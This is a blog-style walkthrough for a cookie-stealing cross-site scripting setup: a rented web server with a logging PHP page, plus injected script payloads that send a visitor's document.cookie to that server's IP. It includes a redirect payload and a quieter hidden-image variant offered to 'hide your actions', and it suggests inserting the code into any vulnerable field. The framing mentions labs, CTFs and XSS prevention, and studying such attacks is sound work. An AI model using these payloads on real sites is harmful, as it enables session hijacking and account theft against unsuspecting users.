Brief tutorial/walk through. We will be creating a cookie (manually) for testing, and a very basic test site containing a script that could be embedded in a site via XSS, and then sending our cookie to a remote server.
For this exercise, you'll need...
- Publicly hosted website, DigitalOcean is what I'll be using.
- AWS, Azure, etc. work as well. Not strictly necessary, we could contain everything in a lab, but this makes things a bit more realistic.
- Local site for testing, Kali VM was used here.
- Kali tools aren't really used here, it's just what I had handy.
- The ability to modify cookies. Cookie Manager + for FireFox was used here.
Creating a Droplet
DigitalOcean is amazing. You can spin up a web server that costs pennies per day in a few minutes, do some testing/lab work, and destroy it. It's the perfect lab environment. New users can get free credit. It's my go to test environment. If you haven't already, sign up for the service and log in.
Once logged in, you should see a Create Droplet button. Below are the settings I used at the time of writing this article.
- Choose an image
- Ubuntu 16.04.1 x64
- Choose a size
- $5/mo - 512 MB / 1 CPU - 20 GB SSD - 1000 GB transfer
That's it. You can optionally change the hostname at the very bottom or an an SSH key for additional security. Everything else should be left as default.
Click the green Create button. In a few minutes, you'll receive an email with the login details. Use PuTTY (or any other SSH client) to connect to the IP address you were assigned, using the root account, and the password from the email.
Install the necessary packages
Here's the short version:
- apt-get update
- apt-get install apache2
- apt-get install php7.0
- apt-get install libapache2-mod-php
- a2enmod php7.0
- service apache2 restart
For the unfamiliar, apache2 will install the Apache server, and necessary dependencies. At this point our basic webserver should be up and running. If you visit your assigned IP address in a browser, you should see the default Apache2 page.
php7.0 will install PHP 7 and dependencies. If we were to place PHP code on our website at this point, it would display the code as text rather than execute it. To fix this, we install the Apaceh php module (libapache2-mod-php) and enable it (a2enmod php7.0)[1:1].
Then we bounce the Apache service just to make sure everything took effect.
Troubleshooting: If for some reason your PHP code does not seem to be working at any point in this guide, here are some troubleshooting notes.
- PHP's config file lives in /etc/php/7.0/apache2/php.ini
- Search this file for "display_errors" or use ":set nu" in VIM and look on or about line 462. Change the value here to "On" to display errors.
- The Apache directory on Debian lives in /etc/apache2. Under this you can find the mods-enabled folder where you should see php7.0 mods.
- You should also see the Apache configuration file in this directory: apache2.conf
Setup a page to catch the cookies
By default, Apache2 on Debian serves pages from /var/www/html. We are going to navigate to this directory, kill the default index.html page and replace it with a blank one (minor security precaution to prevent directory listing and information leakage). Then we are going to setup or cookie thief page, where we will direct information, and a log file which the page will write the information to.
- cd /var/www/html
- rm index.html
- touch index.html
- touch log.txt
- chmod 666 log.txt
- vim xss.php
Vim is my text editor of choice. Very quick introduction. Pressing the i key switches to insert mode, so you can edit text. Pressing ESC takes you back out of insert so you can type commands. When we open "xss.php" in Vim, we are going to press i so we can edit the document, copy the PHP source from the GitHub Gist below, paste it into VIM, press ESC to exit insert, and then type :wq to write and quite (the : is typed as well).
the ll command should give you a directory list that looks like so:
root@ubuntu-512mb-nyc3-01:/var/www/html# ll total 12 drwxr-xr-x 2 root root 4096 Oct 2 15:23 ./ drwxr-xr-x 3 root root 4096 Oct 2 15:02 ../ -rw-r--r-- 1 root root 0 Oct 2 15:20 index.html -rw-rw-rw- 1 root root 0 Oct 2 15:20 log.txt -rw-r--r-- 1 root root 2066 Oct 2 15:23 xss.php
Catch some test cookies
Now it's time to do some testing. A Kali VM makes this pretty easy, as it already has Apache installed.
- service apache 2 start
We should now see the default Apache page if we visit 127.0.0.1 in a browser. Lets replace that with a test script.
- cd /var/www/html
- rm index.html
- vim index.html
Paste the following code into your new/blank index.html, replacing the 123... ip address with that of your Droplet:
<script>location.href = 'http://18.104.22.168/xss.php?cookie='+document.cookie;</script>
Create a test cookie
Now open Firefox. Do a quick search for "Cookie Manager+ Firefox" and grab this add-on. Once installed, from the Firefox options menu, you can select customize, and drag the cookie icon from the Additional Tools area to the top bar so you have an easy shortcut to it. Once you have it, open the tool and in the lower left, click "New Cookie".
Give your new cookie a name, like "foo" and some content, like "bar". Set the domain to 127.0.0.1 and the path to / and click "Save"
Capture the cookie
Now navigate back to 127.0.0.1. Your new index page with the script, should redirect you to your cookie catching "xss.php" script. You'll see the address change to http://22.214.171.124/xss.php?cookie=foo=bar
In your Droplet terminal, type 'cat log.txt' and you'll see the results of your cookie.
root@ubuntu-512mb-nyc3-01:/var/www/html# cat log.txt IP: 126.96.36.199 | PORT: 43640 | HOST: | Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 | METHOD: | REF: http://127.0.0.1/ | DATE: Sunday 02nd 2016f October 2016 03:55:20 PM | COOKIE: cookie=foo=bar
Making it a bit less obvious
So if a user visits a page, and is redirected to a page which contains their cookie in the URL, it may be a bit obvious something has gone wrong. Change the
<script> code in our local index.html file to the following.
<script>document.write('<img src="http://188.8.131.52/xss.php?cookie=' + document.cookie + '" />')</script>
Now revisit our local test website at http://127.0.0.1. You'll get a broken image icon as the page tries to load an image that doesn't exist, but you won't get redirected. Checking our log.txt again we should see a new line containing our cookie.
This method won't work on all sites, depending on security settings, but it gives one example of a way to hide your actions a bit better. You could also setup a fake landing page, or even just an "under construction" message.
Where do you go from here?
Now that we've tested the script and know that our logging in functional, we can insert the same code we placed in our local index.html into any field that is vulnerable to XSS and see if we get results. This has come in handy during labs and CTF exercises.
As always, use this for good. It's an example of why XSS prevention and proper cookie handling are so important.
Lastly, we did not setup proper security on that Droplet. Destroy it, both to prevent compromise, and because it's costing you money!
- OWASP - Testing for Cross Site Scripting
- OWASP - XSS Filter Evasion Cheatsheet
- StackExchange - Cookie Stealing Without Redirect
- Cysecurity.org - Cookie Stealing/XSS Tutorial
- GitHub - Simpler Cookie Collecting Script